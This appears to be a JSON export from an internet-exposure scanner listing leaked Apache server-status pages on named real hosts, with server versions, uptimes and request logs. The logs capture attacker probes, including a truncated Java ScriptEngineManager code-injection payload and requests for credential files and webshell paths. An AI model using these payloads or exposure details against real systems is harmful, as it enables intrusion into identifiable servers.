202.182.66.191/32 brd 202.182.66.191 scope global noprefixroute enp2s0f0\\n       valid_lft forever preferred_lft forever\\n    inet 202.182.66.192/32 brd 202.182.66.192 scope global noprefixroute enp2s0f0\\n       valid_lft forever preferred_lft forever\\n    inet 202.182.66.193/32 brd 202.182.66.193 scope global noprefixroute enp2s0f0\\n       valid_lft forever preferred_lft forever\\n    inet 202.182.66.194/32 brd 202.182.66.194 scope global noprefixroute enp2s0f0\\n       valid_lft forever preferred_lft forever\\n    inet 202.182.66.195/32 brd 202.182.66.195 scope global noprefixroute enp2s0f0\\n       valid_lft forever preferred_lft forever\\n    inet 202.182.66.196/32 brd 202.182.66.196 scope global noprefixroute enp2s0f0\\n       valid_lft forever preferred_lft forever\\n    inet 202.182.66.197/32 brd 202.182.66.197 scope global noprefixroute enp2s0f0\\n       valid_lft forever preferred_lft forever\\n    inet 202.182.66.198/32 brd 202.182.66.198 scope global noprefixroute enp2s0f0\\n       valid_lft forever preferred_lft forever\\n    inet 202.182.66.199/32 brd 202.182.66.199 scope global noprefixroute enp2s0f0\\n       valid_lft forever preferred_lft forever\\n    inet 202.182.66.200/32 brd 202.182.66.200 scope global nop\\n\\n\",\n    \"time\": \"2024-02-14T12:49:46.999361616Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"high\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"North America\",\n      \"region_iso_code\": \"US-VA\",\n      \"city_name\": \"Ashburn\",\n      \"country_iso_code\": \"US\",\n      \"country_name\": \"United States\",\n      \"region_name\": \"Virginia\",\n      \"location\": {\n        \"lat\": 39.0469,\n        \"lon\": -77.4903\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"COMCAST-7922\",\n      \"asn\": 7922,\n      \"network\": \"104.171.168.0/21\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb31bc75e655bc75e65557061520\",\n    \"ip\": \"185.56.187.42\",\n    \"host\": \"185.56.187.42\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"http\"\n    ],\n    \"protocol\": \"http\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 403,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"199\",\n        \"content-type\": \"text/html; charset=iso-8859-1\",\n        \"server\": \"Apache\"\n      },\n      \"title\": \"403 Forbidden\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for 185.56.187.42 (via 172.17.0.2)\\n\\nServer Version: Apache/2.4.51 (Unix) OpenSSL/1.1.1l\\nServer MPM: event\\nServer Built: Nov 30 2021 04:41:23\\n\\nCurrent Time: Wednesday, 14-Feb-2024 12:49:43 \\nRestart Time: Thursday, 29-Sep-2022 21:16:19 \\nParent Server Config. Generation: 505\\nParent Server MPM Generation: 504\\nServer uptime:  502 days 15 hours 33 minutes 23 seconds\\nServer load: 0.54 0.42 0.38\\nTotal accesses: 6540619 - Total Traffic: 152.3 GB - Total Duration: 10020950411\\nCPU Usage: u1691.09 s1830.44 cu7450.93 cs10014.5 - .0483% CPU load\\n.151 requests/sec - 3765 B/second - 24.4 kB/request - 1532.11 ms/request\\n5 requests currently being processed, 145 idle workers\\n\\n\\n\\nSlotPIDStoppingConnections\\nThreadsAsync connections\\ntotalacceptingbusyidlewritingkeep-aliveclosing\\n0145586no3yes322000\\n1145744no0yes124000\\n2145590no0yes025000\\n3145797no1yes124000\\n4145585no0yes025000\\n5145850no0yes025000\\nSum604 5145000\\n\\n____________W__________WW_____________W_________________________\\n_______________W________________________________________________\\n______________________..........................................\\n................................................................\\n................................................................\\n................................................................\\n................\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMCPU\\nSSReqDurConnChildSlotClientProtocolVHostRequest\\n\\n0-5041455860/79/54568_\\n3.308358878680680.01.321226.36\\n162.158.111.154http/1.1grorud-il.no:80GET //xmlrpc.php?rsd HTTP/1.1\\n\\n0-5041455860/61/53930_\\n3.21942711336540.00.631258.20\\n162.158.222.180http/1.1grorud-il.no:80GET /admin/rest/status HTTP/1.1\\n\\n0-5041455860/57/54316_\\n3.24940708998490.01.681246.60\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n0-5041455860/67/54362_\\n3.0875160923978740.01.411244.28\\n198.41.242.118http/1.1grorud-il.no:80GET /resultater/_/image/9c0533bf-ab24-4de6-952e-c0a7a5f1d1e1:f2\\n\\n0-5041455860/58/54341_\\n3.29260776014510.00.961243.28\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n0-5041455860/68/54216_\\n3.2574983749346650.01.041251.20\\n172.70.46.167http/1.1grorud-il.no:80GET /nyheter/velkommen-tom-arne/_/image/57a67239-402b-45f7-b79d\\n\\n0-5041455860/57/54609_\\n3.24941543305130.00.931269.62\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n0-5041455860/69/54232_\\n3.187425902777280.01.271263.70\\n172.70.46.167http/1.1grorud-il.no:80GET /nyheter/velkommen-tom-arne/_/image/57a67239-402b-45f7-b79d\\n\\n0-5041455860/70/54365_\\n3.26142750586360.00.851251.23\\n162.158.106.37http/1.1\\n\\n0-5041455860/77/54557_\\n3.279421684651090.02.071265.96\\n162.158.222.181http/1.1grorud-il.no:80GET /_/service/no.seeds.app.football/get-login-links HTTP/1.1\\n\\n0-5041455860/70/54356_\\n3.31190671503970.01.431256.55\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n0-5041455860/65/54423_\\n3.29145954320810.00.991284.22\\n162.158.106.37http/1.1grorud-il.no:80GET /_/asset/no.seeds.app.football:0000018d21b38670/fonts/2889b\\n\\n0-5041455861/72/54353W\\n3.232180940252330.01.301267.68\\n162.158.222.190http/1.1grorud-il.no:80GET /admin/event HTTP/1.1\\n\\n0-5041455860/55/54283_\\n3.179460048926596610.00.781289.68\\n162.158.222.249http/1.1grorud-il.no:80GET /admin/tool/com.enonic.app.contentstudio/main/_/service/com\\n\\n0-5041455860/65/54460_\\n3.30790810276160.01.441263.36\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n0-5041455860/71/54273_\\n3.25781715273070.02.261243.69\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n0-5041455860/77/54429_\\n3.23750805713930.01.881202.59\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n0-5041455860/63/54658_\\n3.299260075611513740.00.871252.19\\n162.158.223.14http/1.1grorud-il.no:80GET /admin/tool/com.enonic.app.contentstudio/main/_/service/com\\n\\n0-5041455860/55/54242_\\n3.289251907772520.00.481269.28\\n162.158.106.48http/1.1grorud-il.no:80GET /nyheter/barnefotballen-i-host/_/image/17be4597-813f-4a6e-a\\n\\n0-5041455860/70/54370_\\n3.20785663463590.03.471258.10\\n162.158.222.181http/1.1grorud-il.no:80GET /admin/rest/status HTTP/1.1\\n\\n0-5041455860/68/54454_\\n3.308070560188770.01.511812.53\\n162.158.111.49http/1.1grorud-il.no:80GET //wp1/wp-includes/wlwmanifest.xml HTTP/1.1\\n\\n0-5041455860/70/54178_\\n3.302660011715724960.01.251239.89\\n162.158.222.52http/1.1grorud-il.no:80GET /admin/tool/com.enonic.app.contentstudio/main/_/service/com\\n\\n0-5041455860/73/54387_\\n3.2894646770099880.02.261220.00\\n162.158.106.249http/1.1grorud-il.no:80GET /nyheter/barnefotballen-i-host HTTP/1.1\\n\\n0-5041455861/65/54248W\\n3.202180963697860.00.861192.47\\n162.158.223.10http/1.1grorud-il.no:80GET /admin/event HTTP/1.1\\n\\n0-5041455861/56/54272W\\n3.29200754279150.01.271237.64\\n162.158.222.198http/1.1grorud-il.no:80GET /admin/tool/com.enonic.app.contentstudio/main/_/service/com\\n\\n1-5041457440/53/50315_\\n3.0313453770677210.01.361165.89\\n172.71.151.74http/1.1grorud-il.no:80GET /robots.txt HTTP/1.1\\n\\n1-5041457440/69/50471_\\n3.068448734220370.02.031184.21\\n162.158.111.200http/1.1grorud-il.no:80GET //wp-includes/wlwmanifest.xml HTTP/1.1\\n\\n1-5041457440/56/50481_\\n2.9321688869745220.02.041169.50\\n162.158.170.64http/1.1grorud-il.no:80GET /_/image/4a33d084-2963-4407-b96e-1cdd23a30b08:921887cf39c41\\n\\n1-5041457440/50/50391_\\n2.851810810897290.01.681794.83\\n64.62.197.148http/1.1ntf-gro.enonic.cloud:80GET /geoserver/web/ HTTP/1.1\\n\\n1-5041457440/55/50018_\\n2.9211454951369750.01.151220.44\\n162.158.222.133http/1.1grorud-il.no:80GET /nyheter/arsmote-2024/_/image/03ad42e0-7424-4190-8d82-6dbeb\\n\\n1-5041457440/45/50192_\\n3.0518635902843910.01.071156.29\\n162.158.222.180http/1.1grorud-il.no:80GET /_/service/no.seeds.app.football/get-idrettens-details HTTP\\n\\n1-5041457440/53/50285_\\n2.84181114855633120.00.591220.78\\n172.70.86.5http/1.1grorud-il.no:80GET /nyheter/gatelaget-trenger-spillere/_/image/0e2f0f39-2b1e-4\\n\\n1-5041457440/52/50411_\\n3.0311481001286660.01.101218.32\\n162.158.222.149http/1.1grorud-il.no:80GET /admin/rest/status HTTP/1.1\\n\\n1-5041457440/50/50361_\\n2.8418115751968070.00.451156.68\\n162.158.190.102http/1.1grorud-il.no:80GET /nyheter/_/image/0b63625e-f4de-4d07-836f-c73684dfc629:9c61f\\n\\n1-5041457440/54/50215_\\n3.0221631829223780.01.021153.29\\n162.158.170.103http/1.1grorud-il.no:80GET /_/image/17be4597-813f-4a6e-a166-6e892c724383:bfbf63029a1c9\\n\\n1-5041457440/55/50600_\\n3.0221817814263180.01.181208.70\\n162.158.170.236http/1.1grorud-il.no:80GET /_/image/9c0533bf-ab24-4de6-952e-c0a7a5f1d1e1:f2045a668120b\\n\\n1-5041457440/51/50184_\\n2.941821779315460.00.731161.25\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n1-5041457440/57/50214_\\n2.991810847922640.02.111195.34\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n1-5041457441/49/50400W\\n2.9200761557030.02.711168.64\\n161.35.155.246http/1.1172.17.0.2:443GET /server-status HTTP/1.1\\n\\n1-5041457440/46/50226_\\n2.991741920263630.00.831175.75\\n162.158.222.181http/1.1grorud-il.no:80GET /admin/rest/status HTTP/1.1\\n\\n1-5041457440/58/50275_\\n3.051790683072180.00.781209.82\\n172.18.0.5http/1.1172.17.0.2:8001GET /server-status?auto= HTTP/1.1\\n\\n1-5041457440/53/50164_\\n3.0518638605271350.01.321146.25\\n162.158.223.7http/1.1grorud-il.no:80GET /nyheter/velkommen-tom-arne/_/service/no.seeds.app.football\\n\\n1-5041457440/57/50101_\\n3.0518752720231190.01.351189.90\\n162.158.222.105http/1.1grorud-il.no:80GET /nyheter/velkommen-tom-arne/_/image/57a67239-402b-45f7-b79d\\n\\n1-504145744\",\n    \"time\": \"2024-02-14T12:49:42.179931832Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"Apache\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Europe\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"NO\",\n      \"country_name\": \"Norway\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 59.9452,\n        \"lon\": 10.7559\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"Nexthop AS\",\n      \"asn\": 60130,\n      \"network\": \"185.56.184.0/22\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb317b7fa1c77b7fa1c7c3cca860\",\n    \"ip\": \"183.111.5.204\",\n    \"host\": \"183.111.5.204\",\n    \"reverse\": \"\",\n    \"port\": \"80\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"http\"\n    ],\n    \"protocol\": \"http\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"0\",\n        \"content-type\": \"text/html\",\n        \"server\": \"Apache\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for 183.111.5.204\\n\\nServer Version: Apache\\nServer Built: Sep  7 2008 17:24:18\\n\\nCurrent Time: Wednesday, 14-Feb-2024 21:49:21 KST\\nRestart Time: Friday, 21-Oct-2022 13:24:36 KST\\nParent Server Generation: 0\\nServer uptime:  481 days 8 hours 24 minutes 45 seconds\\nTotal accesses: 18655718 - Total Traffic: 74.2 GB\\nCPU Usage: u10630.2 s149.33 cu0 cs0 - .0259% CPU load\\n.449 requests/sec - 1916 B/second - 4272 B/request\\n4 requests currently being processed, 49 idle workers\\nK________W_____________K_______K_____________________...........\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMCPU\\nSSReqConnChildSlotClientVHostRequest\\n\\n0-0170792/3/261540K\\n0.00100.20.00-1313.33\\n172.16.2.11bigbox.bigfile.co.krGET /.vscode/sftp.json HTTP/1.1\\n\\n1-0221630/0/258964_\\n0.0520100.00.00-1302.69\\n172.16.2.11bigbox.bigfile.co.krGET /missing.html HTTP/1.1\\n\\n2-0221720/0/260384_\\n0.0217610.00.00-1243.75\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n3-0222910/0/259988_\\n0.01914500.00.00-1042.48\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n4-0224440/0/260668_\\n0.0614600.00.00-1210.80\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n5-0225000/0/260358_\\n0.036600.00.00-1273.07\\n172.16.2.11bigbox.bigfile.co.krGET /ab2h HTTP/1.1\\n\\n6-0225670/0/259651_\\n0.056100.00.00-1136.71\\n172.16.2.11bigbox.bigfile.co.krGET /missing.html HTTP/1.1\\n\\n7-0225680/0/259415_\\n0.0436180.00.00-1194.43\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n8-0239400/1/258545_\\n0.001500.00.00-1172.87\\n172.16.2.11bigbox.bigfile.co.krGET /$%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngine\\n\\n9-0239412/2/259405W\\n0.00000.40.00-1265.09\\n172.16.2.11bigbox.bigfile.co.krGET /server-status HTTP/1.1\\n\\n10-086840/5/262189_\\n0.0410600.00.00-1147.41\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n11-099420/3/260420_\\n0.0231140.00.00-1112.43\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n12-0143310/3/259658_\\n0.022500.00.00-1267.84\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n13-0146130/5/257315_\\n0.0416100.00.00-1417.75\\n172.16.2.11bigbox.bigfile.co.krGET http://api.ipify.org/?format=json HTTP/1.1\\n\\n14-0150230/3/258335_\\n0.0121600.00.00-1299.57\\n172.16.2.11bigbox.bigfile.co.krGET /actuator/health HTTP/1.1\\n\\n15-0154170/4/257424_\\n0.0376190.00.00-1241.68\\n172.16.2.11bigbox.bigfile.co.krGET /$%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngine\\n\\n16-0175390/3/257649_\\n0.04206130.00.00-1288.62\\n172.16.2.11bigbox.bigfile.co.krGET /favicon.ico HTTP/1.1\\n\\n17-0180790/6/256610_\\n0.0415100.00.00-1268.74\\n172.16.2.11bigbox.bigfile.co.krGET /wp-content/plugins/about.php HTTP/1.1\\n\\n18-0192930/5/255325_\\n0.038100.00.00-1280.11\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n19-0193470/8/253727_\\n0.0222600.00.00-1495.84\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n20-0210360/7/254013_\\n0.03156170.00.00-1202.67\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n21-0219130/8/254912_\\n0.0116600.00.00-1407.39\\n172.16.2.11bigbox.bigfile.co.krGET /missing.html HTTP/1.1\\n\\n22-0235630/6/255876_\\n0.0513600.00.00-1441.98\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n23-0220872/6/249226K\\n0.03100.00.00-1515.12\\n172.16.2.11bigbox.bigfile.co.krGET /about HTTP/1.1\\n\\n24-0224030/5/249975_\\n0.0286150.00.00-1526.98\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n25-0224530/5/252588_\\n0.025100.00.00-1292.92\\n172.16.2.11bigbox.bigfile.co.krGET /favicon.ico HTTP/1.1\\n\\n26-0224620/2/250101_\\n0.0220150.00.00-1530.95\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n27-0109850/2/249605_\\n0.0146220.00.00-1645.68\\n172.16.2.11bigbox.bigfile.co.krGET /missing.html HTTP/1.1\\n\\n28-0123100/3/250930_\\n0.0211100.00.00-1411.83\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n29-0123110/2/248196_\\n0.00116230.00.00-1589.33\\n172.16.2.11bigbox.bigfile.co.krGET /stalker_portal/server/tools/auth_simple.php HTTP/1.1\\n\\n30-0123450/2/247804_\\n0.04101110.00.00-1492.11\\n172.16.2.11bigbox.bigfile.co.krGET /missing.html HTTP/1.1\\n\\n31-0220921/4/245347K\\n0.04000.20.00-1590.24\\n172.16.2.11bigbox.bigfile.co.krGET /v2/_catalog HTTP/1.1\\n\\n32-0235640/4/244290_\\n0.0214100.00.00-1573.40\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n33-0243280/5/245593_\\n0.035600.00.00-1625.16\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n34-0256950/6/245691_\\n0.0371120.00.00-1654.28\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n35-0291800/7/243656_\\n0.0213100.00.00-1611.95\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n36-0318720/8/242594_\\n0.0318380.00.00-1765.17\\n172.16.2.11bigbox.bigfile.co.krGET /$%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngine\\n\\n37-0325150/1/240497_\\n0.01510.00.00-1676.95\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n38-05410/5/240072_\\n0.03221120.00.00-1686.10\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n39-0198340/27/238839_\\n0.0512100.00.01-1697.33\\n172.16.2.11bigbox.bigfile.co.krGET /wp-content/themes/about.php HTTP/1.1\\n\\n40-0234930/3/235412_\\n0.0212610.00.00-1866.05\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n41-0123700/0/237470_\\n0.021000.00.00-1763.71\\n172.16.2.11bigbox.bigfile.co.krGET /missing.html HTTP/1.1\\n\\n42-0126360/4/237933_\\n0.02231220.00.00-1835.85\\n172.16.2.11bigbox.bigfile.co.krGET /missing.html HTTP/1.1\\n\\n43-0166930/2/237218_\\n0.009600.00.00-1722.30\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n44-0205200/3/236814_\\n0.00000.00.00-1803.75\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n45-0212380/0/234482_\\n0.0418600.00.00-1876.41\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n46-0260560/0/232765_\\n0.02000.00.00-1925.09\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n47-0291350/4/228710_\\n0.0141200.00.00-2023.95\\n172.16.2.11bigbox.bigfile.co.krGET /missing.html HTTP/1.1\\n\\n48-0294180/1/228195_\\n0.022113760.00.00-2022.04\\n172.16.2.11bigbox.bigfile.co.krGET /robots.txt HTTP/1.1\\n\\n49-0294230/5/230227_\\n0.011814640.00.00-1989.55\\n172.16.2.11bigbox.bigfile.co.krGET /missing.html HTTP/1.1\\n\\n50-0226690/2/227865_\\n0.01191580.00.001925.22\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n51-0226700/3/227479_\\n0.00171140.00.001903.10\\n172.16.2.11bigbox.bigfile.co.krGET /favicon.ico HTTP/1.1\\n\\n52-0226710/0/226499_\\n0.04196190.00.002044.50\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n53-0-0/0/223141.\\n0.043671200.00.001996.69\\n172.16.2.11bigbox.bigfile.co.krGET / HTTP/1.1\\n\\n54-0-0/0/221504.\\n0.053648100.00.001863.94\\n172.16.2.11bigbox.bigfile.co.krGET / HTT\",\n    \"time\": \"2024-02-14T12:49:18.549711755Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"Apache\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Asia\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"KR\",\n      \"country_name\": \"South Korea\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 37.5112,\n        \"lon\": 126.9741\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"Korea Telecom\",\n      \"asn\": 4766,\n      \"network\": \"183.111.0.0/18\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb312283e1442283e1447e9d8e8f\",\n    \"ip\": \"162.247.152.131\",\n    \"host\": \"162.247.152.131\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"https\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 303,\n      \"length\": 0,\n      \"header\": {\n        \"content-type\": \"text/html; charset=UTF-8\",\n        \"location\": \"https://moodle.variolms.com\",\n        \"server\": \"Apache\"\n      },\n      \"title\": \"Redirect\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for 162.247.152.131 (via 162.247.152.131)\\n\\nServer Version: Apache/2.4.58 (Ubuntu) OpenSSL/3.0.2\\nServer MPM: event\\nServer Built: 2023-10-25T05:39:09\\n\\nCurrent Time: Wednesday, 14-Feb-2024 12:48:03 UTC\\nRestart Time: Friday, 09-Feb-2024 13:25:10 UTC\\nParent Server Config. Generation: 6\\nParent Server MPM Generation: 5\\nServer uptime:  4 days 23 hours 22 minutes 53 seconds\\nServer load: 0.02 0.04 0.02\\nTotal accesses: 38340 - Total Traffic: 73.0 MB - Total Duration: 91741\\nCPU Usage: u27.83 s29.95 cu6.25 cs3.17 - .0156% CPU load\\n.0892 requests/sec - 178 B/second - 1996 B/request - 2.39283 ms/request\\n1 requests currently being processed, 0 workers gracefully restarting, 74 idle workers\\n\\n\\n\\nSlotPIDStoppingConnections\\nThreadsAsync connections\\ntotalacceptingbusygracefulidlewritingkeep-aliveclosing\\n0107422no0yes0025000\\n1107423no0yes0025000\\n2116916no0yes1024000\\nSum300 1074000\\n\\n________________________________________________________________\\n______W____.....................................................\\n......................\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMCPU\\nSSReqDurConnChildSlotClientProtocolVHostRequest\\n\\n0-51074220/453/496_\\n7.782719010030.00.340.55\\n212.102.40.218h2moodle.variolms.com:443[0/0] Software caused connection 